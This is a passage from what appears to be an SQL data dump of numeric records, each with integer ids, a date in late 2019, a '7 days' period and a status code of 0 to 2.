days',0),(8532,7304,2051,2613,1012,91,'2019-09-07','7 days',0),(8533,7303,2051,2613,1012,91,'2019-09-07','7 days',1),(8873,7421,2277,2824,1067,326,'2019-09-10','7 days',0),(8874,7420,2277,2824,1067,326,'2019-09-10','7 days',0),(8875,7419,2277,2824,1067,326,'2019-09-10','7 days',0),(8876,7418,2277,2824,1067,326,'2019-09-10','7 days',1),(8877,7417,2277,2824,1067,326,'2019-09-10','7 days',2),(10516,2238,2272,2966,195,45,'2019-09-17','7 days',1),(10517,1406,2273,2967,193,45,'2019-09-17','7 days',1),(10518,1405,2273,2967,193,45,'2019-09-17','7 days',0),(10519,7416,2277,2824,1067,326,'2019-09-17','7 days',1),(10520,7415,2277,2824,1067,326,'2019-09-17','7 days',1),(10525,8590,2463,3191,1235,277,'2019-09-18','7 days',1),(10530,4512,1673,2076,634,639,'2019-09-18','7 days',1),(10531,4494,1673,2076,634,639,'2019-09-18','7 days',1),(10532,4487,1673,2076,634,639,'2019-09-18','7 days',1),(10533,4483,1673,2076,634,639,'2019-09-18','7 days',2),(10534,4477,1673,2076,634,639,'2019-09-18','7 days',0),(10535,4473,1673,2076,634,639,'2019-09-18','7 days',1),(10536,4512,2120,2710,634,639,'2019-09-18','7 days',1),(10537,4494,2120,2710,634,639,'2019-09-18','7 days',1),(10538,4487,2120,2710,634,639,'2019-09-18','7 days',1),(10539,4483,2120,2710,634,639,'2019-09-18','7 days',2),(10540,4477,2120,2710,634,639,'2019-09-18','7 days',0),(10541,8603,1024,1215,359,251,'2019-09-18','7 days',0),(10542,8602,1024,1215,359,251,'2019-09-18','7 days',0),(10543,8601,1024,1215,359,251,'2019-09-18','7 days',2),(10544,8600,1024,1215,359,251,'2019-09-18','7 days',0),(10545,8599,1024,1215,359,251,'2019-09-18','7 days',1),(10546,8598,1024,1215,359,251,'2019-09-18','7 days',0),(10547,8597,1024,1215,359,251,'2019-09-18','7 days',0),(10548,8596,1024,1215,359,251,'2019-09-18','7 days',0),(10549,8595,1024,1215,359,251,'2019-09-18','7 days',1),(10561,7421,2577,3314,1068,326,'2019-09-19','7 days',0),(10562,7420,2577,3314,1068,326,'2019-09-19','7 days',0),(10563,7419,2577,3314,1068,326,'2019-09-19','7 days',0),(10564,7418,2577,3314,1068,326,'2019-09-19','7 days',1),(10565,7415,2577,3314,1068,326,'2019-09-19','7 days',1),(10667,7022,1863,2316,1012,91,'2019-09-23','7 days',1),(10708,4512,2540,3276,634,639,'2019-09-24','7 days',1),(10709,4494,2540,3276,634,639,'2019-09-24','7 days',1),(10710,8781,1497,1841,162,73,'2019-09-24','7 days',0),(10711,8785,1457,1780,160,73,'2019-09-24','7 days',1),(10712,8782,1457,1780,160,73,'2019-09-24','7 days',1),(10713,652,1457,1780,160,73,'2019-09-24','7 days',0),(10714,8786,1011,1201,161,73,'2019-09-24','7 days',0),(10715,668,1011,1201,161,73,'2019-09-24','7 days',0),(10716,655,1011,1201,161,73,'2019-09-24','7 days',0),(10717,8784,630,740,160,73,'2019-09-24','7 days',1),(10718,8783,630,740,160,73,'2019-09-24','7 days',0),(10719,673,1497,1841,162,73,'2019-09-24','7 days',0),(10720,667,1497,1841,162,73,'2019-09-24','7 days',1),(10721,666,1497,1841,162,73,'2019-09-24','7 days',0),(10747,1989,2605,3351,193,45,'2019-09-25','7 days',1),(10748,2238,2605,3351,193,45,'2019-09-25','7 days',1),(10749,8796,1452,1774,633,639,'2019-09-25','7 days',1),(10750,8796,2540,3276,634,639,'2019-09-25','7 days',1),(10751,8796,2120,2710,634,639,'2019-09-25','7 days',1),(10859,6243,2645,2851,1251,86,'2019-09-30','7 days',0),(10860,6241,2645,2851,1251,86,'2019-09-30','7 days',0),(10862,8785,2635,3393,161,73,'2019-09-30','7 days',1),(10863,8782,2635,3393,161,73,'2019-09-30','7 days',1),(10864,8781,2635,3393,161,73,'2019-09-30','7 days',0),(10865,8784,2635,3393,161,73,'2019-09-30','7 days',1),(10866,8783,2635,3393,161,73,'2019-09-30','7 days',0),(10883,6246,557,619,222,85,'2019-10-01','7 days',0),(10884,6245,557,619,222,85,'2019-10-01','7 days',0),(10885,6242,557,619,222,85,'2019-10-01','7 days',0),(10886,6240,557,619,222,85,'2019-10-01','7 days',0),(10887,6239,557,619,222,85,'2019-10-01','7 days',0),(10890,6238,557,619,222,85,'2019-10-01','7 days',0),(10922,6199,2645,2851,1251,86,'2019-10-03','7 days',0),(10923,5755,2645,2851,1251,86,'2019-10-03','7 days',0),(10924,5754,2645,2851,1251,86,'2019-10-03','7 days',0),(10925,5749,2645,2851,1251,86,'2019-10-03','7 days',0),(10926,5747,2645,2851,1251,86,'2019-10-03','7 days',0),(10927,5745,2645,2851,1251,86,'2019-10-03','7 days',0),(10928,5741,2645,2851,1251,86,'2019-10-03','7 days',1),(10929,5739,2645,2851,1251,86,'2019-10-03','7 days',0),(10939,8924,2274,498,191,45,'2019-10-03','7 days',1),(10940,8925,2582,498,189,45,'2019-10-03','7 days',1),(10941,8926,2606,498,191,45,'2019-10-03','7 days',1),(10944,650,1011,1201,161,73,'2019-10-03','7 days',0),(10945,649,1011,1201,161,73,'2019-10-03','7 days',0),(10946,646,1011,1201,161,73,'2019-10-03','7 days',0),(10947,645,1011,1201,161,73,'2019-10-03','7 days',1),(10950,6348,2645,2851,1251,86,'2019-10-04','7 days',0),(10951,5729,2645,2851,1251,86,'2019-10-04','7 days',0),(10952,3701,2645,2851,1251,86,'2019-10-04','7 days',0),(11003,6244,2674,3445,222,85,'2019-10-07','7 days',0),(11004,8590,2617,3369,1235,277,'2019-10-07','7 days',1),(11005,8996,2645,2851,1251,86,'2019-10-07','7 days',1),(11007,6243,1394,1697,203,86,'2019-10-07','7 days',2),(11008,6241,1394,1697,203,86,'2019-10-07','7 days',0),(11045,9034,2686,3468,359,251,'2019-10-09','7 days',1),(11046,9033,2686,3468,359,251,'2019-10-09','7 days',0),(11047,9032,2686,3468,359,251,'2019-10-09','7 days',0),(11048,9031,2686,3468,359,251,'2019-10-09','7 days',2),(11049,9030,2686,3468,359,251,'2019-10-09','7 days',0),(11050,9029,2686,3468,359,251,'2019-10-09','7 days',0),(11051,9028,2686,3468,359,251,'2019-10-09','7 days',1),(11052,9027,2686,3468,359,251,'2019-10-09','7 days',0),(11053,9026,2686,3468,359,251,'2019-10-09','7 days',0),(11054,9025,2686,3468,359,251,'2019-10-09','7 days',1),(11055,9024,2686,3468,359,251,'2019-10-09','7 days',0),(11056,9023,2686,3468,359,251,'2019-10-09','7 days',0),(11057,9022,2686,3468,359,251,'2019-10-09','7 days',0),(11058,9021,2686,3468,359,251,'2019-10-09','7 days',0),(11059,6894,2686,3468,359,251,'2019-10-09','7 days',0),(11060,6893,2686,3468,359,251,'2019-10-09','7 days',0),(11061,6892,2686,3468,359,251,'2019-10-09','7 days',0),(11062,6891,2686,3468,359,251,'2019-10-09','7 days',0),(11063,6890,2686,3468,359,251,'2019-10-09','7 days',0),(11064,6889,2686,3468,359,251,'2019-10-09','7 days',0),(11065,6888,2686,3468,359,251,'2019-10-09','7 days',0),(11066,6887,2686,3468,359,251,'2019-10-09','7 days',2),(11092,9054,2661,3428,359,251,'2019-10-09','7 days',1),(11093,9053,2661,3428,359,251,'2019-10-09','7 days',2),(11094,9052,2661,3428,359,251,'2019-10-09','7 days',0),(11095,9051,2661,3428,359,251,'2019-10-09','7 days',2),(11096,9050,2661,3428,359,251,'2019-10-09','7 days',1),(11097,9049,2661,3428,359,251,'2019-10-09','7 days',0),(11098,9048,2661,3428,359,251,'2019-10-09','7 days',0),(11099,9047,2661,3428,359,251,'2019-10-09','7 days',0),(11100,9046,2661,3428,359,251,'2019-10-09','7 days',0),(11101,9045,2661,3428,359,251,'2019-10-09','7 days',0),(11102,9044,2661,3428,359,251,'2019-10-09','7 days',1),(11103,9043,2661,3428,359,251,'2019-10-09','7 days',2),(11104,9042,2661,3428,359,251,'2019-10-09','7 days',0),(11105,9041,2661,3428,359,251,'2019-10-09','7 days',2),(11106,9040,2661,3428,359,251,'2019-10-09','7 days',0),(11107,9039,2661,3428,359,251,'2019-10-09','7 days',0),(11108,9038,2661,3428,359,251,'2019-10-09','7 days',0),(11109,9037,2661,3428,359,251,'2019-10-09','7 days',0),(11110,9036,2661,3428,359,251,'2019-10-09','7 days',0),(11111,9035,2661,3428,359,251,'2019-10-09','7 days',1),(11143,9014,2696,3483,161,73,'2019-10-09','7 days',1),(11144,9013,2696,3483,161,73,'2019-10-09','7 days',1),(11145,8786,2696,3483,161,73,'2019-10-09','7 days',0),(11146,668,2696,3483,161,73,'2019-10-09','7 days',0),(11147,655,2696,3483,161,73,'2019-10-09','7 days',0),(11148,632,2696,3483,161,73,'2019-10-09','7 days',0),(11149,9009,2696,3483,161,73,'2019-10-09','7 days',0),(11150,9008,2696,3483,161,73,'2019-10-09','7 days',0),(11171,9090,2645,2851,1251,86,'2019-10-10','7 days',0),(11172,9007,2645,2851,1251,86,'2019-10-10','7 days',0),(11173,9006,2645,2851,1251,86,'2019-10-10','7 days',0),(11174,9005,2645,2851,1251,86,'2019-10-10','7 days',0),(11175,9004,2645,2851,1251,86,'2019-10-10','7 days',0),(11176,9003,2645,2851,1251,86,'2019-10-10','7 days',0),(11177,9002,2645,2851,1251,86,'2019-10-10','7 days',1),(11178,9000,2645,2851,1251,86,'2019-10-10','7 days',1),(11179,8999,2645,2851,1251,86,'2019-10-10','7 days',2),(11180,8997,2645,2851,1251,86,'2019-10-10','7 days',1),(11181,9091,2645,2851,1251,86,'2019-10-10','7 days',0),(11197,9111,2686,3468,359,251,'2019-10-10','7 days',1),(11198,9110,2686,3468,359,251,'2019-10-10','7 days',0),(11199,9109,2686,3468,359,251,'2019-10-10','7 days',1),(11200,9108,2686,3468,359,251,'2019-10-10','7 days',1),(11201,9107,2686,3468,359,251,'2019-10-10','7 days',1),(11202,9117,2661,3428,359,251,'2019-10-10','7 days',0),(11203,9116,2661,3428,359,251,'2019-10-10','7 days',0),(11204,9115,2661,3428,359,251,'2019-10-10','7 days',0),(11205,9114,2661,3428,359,251,'2019-10-10','7 days',0),(11206,9113,2661,3428,359,251,'2019-10-10','7 days',0),(11207,9112,2661,3428,359,251,'2019-10-10','7 days',0),(11213,8859,2591,3331,1012,91,'2019-10-10','7 days',0),(11214,8860,2591,3331,1012,91,'2019-10-10','7 days',0),(11215,8861,2591,3331,1012,91,'2019-10-10','7 days',0),(11216,8862,2591,3331,1012,91,'2019-10-10','7 days',0),(11217,8863,2591,3331,1012,91,'2019-10-10','7 days',0),(11233,9135,2623,3379,1011,91,'2019-10-11','7 days',1),(11234,9134,2623,3379,1011,91,'2019-10-11','7 days',1),(11235,9133,2623,3379,1011,91,'2019-10-11','7 days',1),(11236,7287,2623,3379,1011,91,'2019-10-11','7 days',1),(11237,7286,2623,3379,1011,91,'2019-10-11','7 days',1),(11265,9154,2611,3362,1012,91,'2019-10-11','7 days',1),(11266,9135,2611,3362,1012,91,'2019-10-11','7 days',1),(11267,9134,2611,3362,1012,91,'2019-10-11','7 days',1),(11268,9133,2611,3362,1012,91,'2019-10-11','7 days',1),(11269,7287,2611,3362,1012,91,'2019-10-11','7 days',1),(11270,7286,2611,3362,1012,91,'2019-10-11','7 days',1),(11271,7308,2602,3345,1012,91,'2019-10-11','7 days',0),(11272,7307,2602,3345,1012,91,'2019-10-11','7 days',1),(11273,7306,2602,3345,1012,91,'2019-10-11','7 days',2),(11274,7305,2602,3345,1012,91,'2019-10-11','7 days',0),(11275,7304,2602,3345,1012,91,'2019-10-11','7 days',0),(11286,9159,2708,3501,1012,91,'2019-10-11','7 days',1),(11287,9155,2708,3501,1012,91,'2019-10-11','7 days',1),(11288,7213,2708,3501,1012,91,'2019-10-11','7 days',1),(11289,7212,2708,3501,1012,91,'2019-10-11','7 days',1),(11306,9009,630,740,160,73,'2019-10-12','7 days',0),(11307,9008,630,740,160,73,'2019-10-12','7 days',0),(11308,665,630,740,160,73,'2019-10-12','7 days',0),(11309,662,630,740,160,73,'2019-10-12','7 days',0),(11310,4512,2669,3441,633,639,'2019-10-12','7 days',1),(11311,4473,2669,3441,633,639,'2019-10-12','7 days',0),(11312,4516,2669,3441,633,639,'2019-10-12','7 days',1),(11313,8926,2681,3456,190,45,'2019-10-12','7 days',0),(11314,8925,2681,3456,190,45,'2019-10-12','7 days',0),(11315,8924,2681,3456,190,45,'2019-10-12','7 days',0),(11316,2238,2681,3456,190,45,'2019-10-12','7 days',1),(11317,9182,2681,3456,190,45,'2019-10-12','7 days',1),(11318,8796,2669,3441,633,639,'2019-10-14','7 days',1),(11328,9182,2464,3195,195,45,'2019-10-14','7 days',2),(11329,8926,2464,3195,195,45,'2019-10-14','7 days',0),(11330,8925,2464,3195,195,45,'2019-10-14','7 days',0),(11331,8924,2464,3195,195,45,'2019-10-14','7 days',0),(11332,2238,2464,3195,195,45,'2019-10-14','7 days',1),(11333,9182,2416,3134,194,45,'2019-10-14','7 days',1),(11334,8926,2416,3134,194,45,'2019-10-14','7 days',0),(11335,8925,2416,3134,194,45,'2019-10-14','7 days',0),(11336,8924,2416,3134,194,45,'2019-10-14','7 days',0),(11337,2238,2416,3134,194,45,'2019-10-14','7 days',1),(11338,9182,2275,499,188,45,'2019-10-14','7 days',2),(11339,8926,2275,499,188,45,'2019-10-14','7 days',0),(11340,8925,2275,499,188,45,'2019-10-14','7 days',0),(11341,8924,2275,499,188,45,'2019-10-14','7 days',0),(11342,2238,2275,499,188,45,'2019-10-14','7 days',1),(11343,8590,2694,3480,1235,277,'2019-10-14','7 days',1),(11347,8794,2474,3205,189,45,'2019-10-14','7 days',1),(11402,9182,2673,3436,188,45,'2019-10-15','7 days',2),(11403,999,2673,3436,188,45,'2019-10-15','7 days',0),(11404,8795,2673,3436,188,45,'2019-10-15','7 days',1),(11405,1000,2673,3436,188,45,'2019-10-15','7 days',1),(11406,9206,2673,3436,188,45,'2019-10-15','7 days',1),(11407,669,2719,3514,160,73,'2019-10-15','7 days',0),(11408,8781,2719,3514,160,73,'2019-10-15','7 days',0),(11409,672,2719,3514,160,73,'2019-10-15','7 days',0),(11410,659,2719,3514,160,73,'2019-10-15','7 days',1),(11411,647,2719,3514,160,73,'2019-10-15','7 days',0),(11412,642,2719,3514,160,73,'2019-10-15','7 days',0),(11413,640,2719,3514,160,73,'2019-10-15','7 days',0),(11414,639,2719,3514,160,73,'2019-10-15','7 days',0),(11415,637,2719,3514,160,73,'2019-10-15','7 days',0),(11416,636,2719,3514,160,73,'2019-10-15','7 days',0),(11417,629,2719,3514,160,73,'2019-10-15','7 days',0),(11424,6246,2727,3312,221,85,'2019-10-16','7 days',0),(11425,6245,2727,3312,221,85,'2019-10-16','7 days',0),(11426,6242,2727,3312,221,85,'2019-10-16','7 days',0),(11427,5796,2727,3312,221,85,'2019-10-16','7 days',0),(11428,5795,2727,3312,221,85,'2019-10-16','7 days',0),(11429,5794,2727,3312,221,85,'2019-10-16','7 days',0),(11430,5792,2727,3312,221,85,'2019-10-16','7 days',0),(11431,5791,2727,3312,221,85,'2019-10-16','7 days',0),(11432,6238,2723,3520,222,85,'2019-10-16','7 days',0),(11433,6237,2723,3520,222,85,'2019-10-16','7 days',0),(11434,6236,2723,3520,222,85,'2019-10-16','7 days',0),(11435,6219,2723,3520,222,85,'2019-10-16','7 days',0),(11436,5799,2723,3520,222,85,'2019-10-16','7 days',0),(11437,5798,2723,3520,222,85,'2019-10-16','7 days',0),(11438,5797,2723,3520,222,85,'2019-10-16','7 days',0),(11439,5796,2723,3520,222,85,'2019-10-16','7 days',0),(11440,5795,2723,3520,222,85,'2019-10-16','7 days',0),(11441,5794,2723,3520,222,85,'2019-10-16','7 days',0),(11442,5792,2723,3520,222,85,'2019-10-16','7 days',0),(11443,5791,2723,3520,222,85,'2019-10-16','7 days',0),(11444,6246,2674,3445,222,85,'2019-10-16','7 days',0),(11445,6245,2674,3445,222,85,'2019-10-16','7 days',0),(11446,6240,2674,3445,222,85,'2019-10-16','7 days',0),(11447,6239,2674,3445,222,85,'2019-10-16','7 days',0),(11448,6237,2674,3445,222,85,'2019-10-16','7 days',0),(11449,6236,2674,3445,222,85,'2019-10-16','7 days',0),(11450,5799,2674,3445,222,85,'2019-10-16','7 days',0),(11451,5798,2674,3445,222,85,'2019-10-16','7 days',0),(11452,6237,557,619,222,85,'2019-10-16','7 days',0),(11453,6236,557,619,222,85,'2019-10-16','7 days',0),(11454,6219,557,619,222,85,'2019-10-16','7 days',0),(11455,5799,557,619,222,85,'2019-10-16','7 days',0),(11456,5791,557,619,222,85,'2019-10-16','7 days',0),(11457,5795,557,619,222,85,'2019-10-16','7 days',0),(11458,5794,557,619,222,85,'2019-10-16','7 days',0),(11459,5792,557,619,222,85,'2019-10-16','7 days',0),(11500,9010,2719,3514,160,73,'2019-10-17','7 days',0),(11501,8785,2719,3514,160,73,'2019-10-17','7 days',1),(11502,8782,2719,3514,160,73,'2019-10-17','7 days',1),(11503,652,2719,3514,160,73,'2019-10-17','7 days',0),(11504,651,2719,3514,160,73,'2019-10-17','7 days',1),(11517,5467,2754,3416,192,45,'2019-10-17','7 days',1),(11518,1989,2754,3416,192,45,'2019-10-17','7 days',1),(11519,8795,2754,3416,192,45,'2019-10-17','7 days',1),(11520,1000,2754,3416,192,45,'2019-10-17','7 days',1),(11521,911,2754,3416,192,45,'2019-10-17','7 days',0),(11595,7421,2693,3479,1069,326,'2019-10-18','7 days',0),(11596,7420,2693,3479,1069,326,'2019-10-18','7 days',0),(11597,7419,2693,3479,1069,326,'2019-10-18','7 days',0),(11598,7418,2693,3479,1069,326,'2019-10-18','7 days',1),(11599,7417,2693,3479,1069,326,'2019-10-18','7 days',0),(11600,7416,2693,3479,1069,326,'2019-10-18','7 days',1),(11601,7415,2693,3479,1069,326,'2019-10-18','7 days',1),(11602,7421,2667,3437,1070,326,'2019-10-18','7 days',0),(11603,7420,2667,3437,1070,326,'2019-10-18','7 days',0),(11604,7419,2667,3437,1070,326,'2019-10-18','7 days',0),(11605,7418,2667,3437,1070,326,'2019-10-18','7 days',1),(11606,7417,2667,3437,1070,326,'2019-10-18','7 days',0),(11607,7416,2667,3437,1070,326,'2019-10-18','7 days',1),(11608,7415,2667,3437,1070,326,'2019-10-18','7 days',1),(11633,9091,2759,3570,204,86,'2019-10-19','7 days',0),(11634,8996,2759,3570,204,86,'2019-10-19','7 days',1),(11635,9090,2759,3570,204,86,'2019-10-19','7 days',0),(11636,9007,2759,3570,204,86,'2019-10-19','7 days',0),(11637,9006,2759,3570,204,86,'2019-10-19','7 days',0),(11638,9005,2759,3570,204,86,'2019-10-19','7 days',0),(11639,9004,2759,3570,204,86,'2019-10-19','7 days',0),(11640,9003,2759,3570,204,86,'2019-10-19','7 days',0),(11641,9004,2756,3565,1251,86,'2019-10-19','7 days',0),(11642,9003,2756,3565,1251,86,'2019-10-19','7 days',0),(11643,9002,2756,3565,1251,86,'2019-10-19','7 days',1),(11644,9000,2756,3565,1251,86,'2019-10-19','7 days',1),(11645,8999,2756,3565,1251,86,'2019-10-19','7 days',2),(11646,8997,2756,3565,1251,86,'2019-10-19','7 days',1),(11647,6188,2645,2851,1251,86,'2019-10-19','7 days',2),(11648,5738,2645,2851,1251,86,'2019-10-19','7 days',0),(11649,5736,2645,2851,1251,86,'2019-10-19','7 days',0),(11650,5734,2645,2851,1251,86,'2019-10-19','7 days',0),(11651,5732,2645,2851,1251,86,'2019-10-19','7 days',0),(11652,1128,2645,2851,1251,86,'2019-10-19','7 days',1),(11653,1104,2645,2851,1251,86,'2019-10-19','7 days',0),(11654,989,2645,2851,1251,86,'2019-10-19','7 days',0),(11662,9000,2759,3570,204,86,'2019-10-22','7 days',1),(11663,8999,2759,3570,204,86,'2019-10-22','7 days',2),(11664,8997,2759,3570,204,86,'2019-10-22','7 days',1),(11725,634,630,740,160,73,'2019-10-23','7 days',0),(11726,9011,630,740,160,73,'2019-10-23','7 days',0),(11727,648,630,740,160,73,'2019-10-23','7 days',1),(11728,664,630,740,160,73,'2019-10-23','7 days',0),(11729,663,630,740,160,73,'2019-10-23','7 days',1),(11730,658,630,740,160,73,'2019-10-23','7 days',0),(11731,657,630,740,160,73,'2019-10-23','7 days',1),(11732,650,2719,3514,160,73,'2019-10-23','7 days',2),(11733,649,2719,3514,160,73,'2019-10-23','7 days',0),(11734,646,2719,3514,160,73,'2019-10-23','7 days',0),(11735,645,2719,3514,160,73,'2019-10-23','7 days',1),(11736,9012,2719,3514,160,73,'2019-10-23','7 days',0),(11737,644,2719,3514,160,73,'2019-10-23','7 days',1),(11738,643,2719,3514,160,73,'2019-10-23','7 days',0),(11739,641,2719,3514,160,73,'2019-10-23','7 days',2),(11740,638,2719,3514,160,73,'2019-10-23','7 days',0),(11741,635,2719,3514,160,73,'2019-10-23','7 days',2),(11742,630,2719,3514,160,73,'2019-10-23','7 days',2),(11743,669,2696,3483,161,73,'2019-10-23','7 days',0),(11744,665,2696,3483,161,73,'2019-10-23','7 days',0),(11745,662,2696,3483,161,73,'2019-10-23','7 days',0),(11746,633,2696,3483,161,73,'2019-10-23','7 days',1),(11747,671,2696,3483,161,73,'2019-10-23','7 days',0),(11748,656,2635,3393,161,73,'2019-10-23','7 days',1),(11749,653,2635,3393,161,73,'2019-10-23','7 days',0),(11750,673,2635,3393,161,73,'2019-10-23','7 days',0),(11751,667,2635,3393,161,73,'2019-10-23','7 days',1),(11752,666,2635,3393,161,73,'2019-10-23','7 days',0),(11753,670,2635,3393,161,73,'2019-10-23','7 days',0),(11754,660,2635,3393,161,73,'2019-10-23','7 days',0),(11755,9014,1497,1841,162,73,'2019-10-23','7 days',1),(11756,9013,1497,1841,162,73,'2019-10-23','7 days',0),(11757,8786,1497,1841,162,73,'2019-10-23','7 days',0),(11758,668,1497,1841,162,73,'2019-10-23','7 days',0),(11759,655,1497,1841,162,73,'2019-10-23','7 days',0),(11760,632,1497,1841,162,73,'2019-10-23','7 days',0),(11761,654,1457,1780,160,73,'2019-10-23','7 days',0),(11762,664,1457,1780,160,73,'2019-10-23','7 days',1),(11763,663,1457,1780,160,73,'2019-10-23','7 days',2),(11764,658,1457,1780,160,73,'2019-10-23','7 days',0),(11942,9535,2759,3570,204,86,'2019-10-24','7 days',0),(11943,9534,2759,3570,204,86,'2019-10-24','7 days',2),(11944,9537,2591,3331,1012,91,'2019-10-24','7 days',1),(11987,9002,2759,3570,204,86,'2019-10-26','7 days',1),(11988,9533,2759,3570,204,86,'2019-10-26','7 days',0),(11989,9532,2759,3570,204,86,'2019-10-26','7 days',0),(11990,9531,2759,3570,204,86,'2019-10-26','7 days',0),(11991,9090,2756,3565,1251,86,'2019-10-26','7 days',0),(11992,9007,2756,3565,1251,86,'2019-10-26','7 days',0),(11993,9006,2756,3565,1251,86,'2019-10-26','7 days',0),(11994,9005,2756,3565,1251,86,'2019-10-26','7 days',0),(11995,9091,2756,3565,1251,86,'2019-10-26','7 days',0),(11996,8996,2756,3565,1251,86,'2019-10-26','7 days',1),(12059,9608,2759,3570,204,86,'2019-10-29','7 days',0),(12060,9607,2759,3570,204,86,'2019-10-29','7 days',2),(12061,9606,2759,3570,204,86,'2019-10-29','7 days',0),(12062,9612,2756,3565,1251,86,'2019-10-29','7 days',0),(12063,9611,2756,3565,1251,86,'2019-10-29','7 days',0),(12064,9610,2756,3565,1251,86,'2019-10-29','7 days',0),(12065,9613,2756,3565,1251,86,'2019-10-29','7 days',0),(12066,9206,2794,3612,191,45,'2019-10-29','7 days',1),(12067,8926,2794,3612,191,45,'2019-10-29','7 days',0),(12068,8924,2794,3612,191,45,'2019-10-29','7 days',0),(12069,2238,2794,3612,191,45,'2019-10-29','7 days',2),(12070,1974,2794,3612,191,45,'2019-10-29','7 days',0),(12071,5467,2765,3575,190,45,'2019-10-29','7 days',1),(12072,1989,2765,3575,190,45,'2019-10-29','7 days',1),(12073,8795,2765,3575,190,45,'2019-10-29','7 days',1),(12074,1000,2765,3575,190,45,'2019-10-29','7 days',1),(12075,8925,2765,3575,190,45,'2019-10-29','7 days',0),(12076,1408,2764,3575,194,45,'2019-10-29','7 days',0),(12077,1407,2764,3575,194,45,'2019-10-29','7 days',0),(12078,1406,2764,3575,194,45,'2019-10-29','7 days',0),(12079,1405,2764,3575,194,45,'2019-10-29','7 days',0),(12080,8795,2764,3575,194,45,'2019-10-29','7 days',1),(12090,4516,2768,3582,634,639,'2019-10-29','7 days',1),(12091,4514,2768,3582,634,639,'2019-10-29','7 days',1),(12092,4499,2768,3582,634,639,'2019-10-29','7 days',1),(12093,4467,2768,3582,634,639,'2019-10-29','7 days',2),(12094,4460,2768,3582,634,639,'2019-10-29','7 days',2),(12159,8795,2839,3682,191,45,'2019-10-31','7 days',1),(12160,1000,2839,3682,191,45,'2019-10-31','7 days',1),(12161,911,2839,3682,191,45,'2019-10-31','7 days',0),(12162,908,2839,3682,191,45,'2019-10-31','7 days',0),(12163,907,2839,3682,191,45,'2019-10-31','7 days',0),(12164,1973,2794,3612,191,45,'2019-10-31','7 days',0),(12165,909,2707,3500,195,45,'2019-10-31','7 days',0),(12166,907,2707,3500,195,45,'2019-10-31','7 days',0),(12167,906,2707,3500,195,45,'2019-10-31','7 days',0),(12168,905,2707,3500,195,45,'2019-10-31','7 days',0),(12169,903,2707,3500,195,45,'2019-10-31','7 days',1),(12170,1990,2594,3337,195,45,'2019-10-31','7 days',0),(12171,5467,2594,3337,195,45,'2019-10-31','7 days',1),(12172,1989,2594,3337,195,45,'2019-10-31','7 days',1),(12173,9206,2594,3337,195,45,'2019-10-31','7 days',1),(12174,903,2594,3337,195,45,'2019-10-31','7 days',1),(12175,7022,2708,3501,1012,91,'2019-10-31','7 days',1),(12176,9154,2708,3501,1012,91,'2019-10-31','7 days',1),(12177,9135,2708,3501,1012,91,'2019-10-31','7 days',1),(12178,9134,2708,3501,1012,91,'2019-10-31','7 days',1),(12179,9133,2708,3501,1012,91,'2019-10-31','7 days',1),(12180,7287,2708,3501,1012,91,'2019-10-31','7 days',1),(12181,7286,2708,3501,1012,91,'2019-10-31','7 days',1),(12182,911,2842,3677,189,45,'2019-10-31','7 days',0),(12183,908,2842,3677,189,45,'2019-10-31','7 days',0),(12184,904,2842,3677,189,45,'2019-10-31','7 days',0),(12185,903,2842,3677,189,45,'2019-10-31','7 days',1),(12186,902,2842,3677,189,45,'2019-10-31','7 days',0),(12193,9537,2602,3345,1012,91,'2019-10-31','7 days',1),(12194,9663,2674,3445,222,85,'2019-11-01','7 days',1),(12211,4512,2768,3582,634,639,'2019-11-02','7 days',1),(12212,4494,2768,3582,634,639,'2019-11-02','7 days',1),(12213,4487,2768,3582,634,639,'2019-11-02','7 days',0),(12214,4483,2768,3582,634,639,'2019-11-02','7 days',2),(12215,4477,2768,3582,634,639,'2019-11-02','7 days',0),(12216,4473,2768,3582,634,639,'2019-11-02','7 days',0),(12217,4516,2120,2710,634,639,'2019-11-02','7 days',1),(12218,4514,2120,2710,634,639,'2019-11-02','7 days',1),(12219,4499,2120,2710,634,639,'2019-11-02','7 days',0),(12220,4467,2120,2710,634,639,'2019-11-02','7 days',2),(12221,4460,2120,2710,634,639,'2019-11-02','7 days',2),(12222,7418,2844,3689,1068,326,'2019-11-02','7 days',1),(12223,7415,2844,3689,1068,326,'2019-11-02','7 days',1),(12224,9670,2838,3681,203,86,'2019-11-02','7 days',0),(12225,9669,2838,3681,203,86,'2019-11-02','7 days',0),(12226,9668,2838,3681,203,86,'2019-11-02','7 days',0),(12227,9667,2838,3681,203,86,'2019-11-02','7 days',0),(12228,9666,2838,3681,203,86,'2019-11-02','7 days',2),(12249,7022,2633,3389,1245,91,'2019-11-04','7 days',1),(12250,9154,2633,3389,1245,91,'2019-11-04','7 days',1),(12251,9135,2633,3389,1245,91,'2019-11-04','7 days',1),(12252,9134,2633,3389,1245,91,'2019-11-04','7 days',1),(12253,9133,2633,3389,1245,91,'2019-11-04','7 days',1),(12254,7287,2633,3389,1245,91,'2019-11-04','7 days',1),(12255,7286,2633,3389,1245,91,'2019-11-04','7 days',1),(12265,9663,555,617,221,85,'2019-11-04','7 days',1),(12266,6244,557,619,222,85,'2019-11-04','7 days',2),(12267,6244,555,617,221,85,'2019-11-04','7 days',2),(12268,9663,557,619,222,85,'2019-11-04','7 days',1),(12269,5797,557,619,222,85,'2019-11-04','7 days',0),(12270,5796,557,619,222,85,'2019-11-04','7 days',0),(12271,9663,2723,3520,222,85,'2019-11-04','7 days',1),(12272,6246,2723,3520,222,85,'2019-11-04','7 days',0),(12273,6245,2723,3520,222,85,'2019-11-04','7 days',0),(12274,6242,2723,3520,222,85,'2019-11-04','7 days',2),(12275,6240,2723,3520,222,85,'2019-11-04','7 days',2),(12276,6239,2723,3520,222,85,'2019-11-04','7 days',2),(12277,9663,2727,3312,221,85,'2019-11-04','7 days',1),(12278,9663,1290,618,222,85,'2019-11-04','7 days',1),(12279,6246,1290,618,222,85,'2019-11-04','7 days',0),(12280,6245,1290,618,222,85,'2019-11-04','7 days',0),(12281,6242,1290,618,222,85,'2019-11-04','7 days',2),(12282,6240,1290,618,222,85,'2019-11-04','7 days',2),(12283,6239,1290,618,222,85,'2019-11-04','7 days',2),(12284,6238,1290,618,222,85,'2019-11-04','7 days',2),(12285,6237,1290,618,222,85,'2019-11-04','7 days',0),(12286,6236,1290,618,222,85,'2019-11-04','7 days',0),(12287,6219,1290,618,222,85,'2019-11-04','7 days',0),(12288,5799,1290,618,222,85,'2019-11-04','7 days',0),(12289,5798,1290,618,222,85,'2019-11-04','7 days',1),(12290,5797,1290,618,222,85,'2019-11-04','7 days',0),(12291,5796,1290,618,222,85,'2019-11-04','7 days',0),(12292,5795,1290,618,222,85,'2019-11-04','7 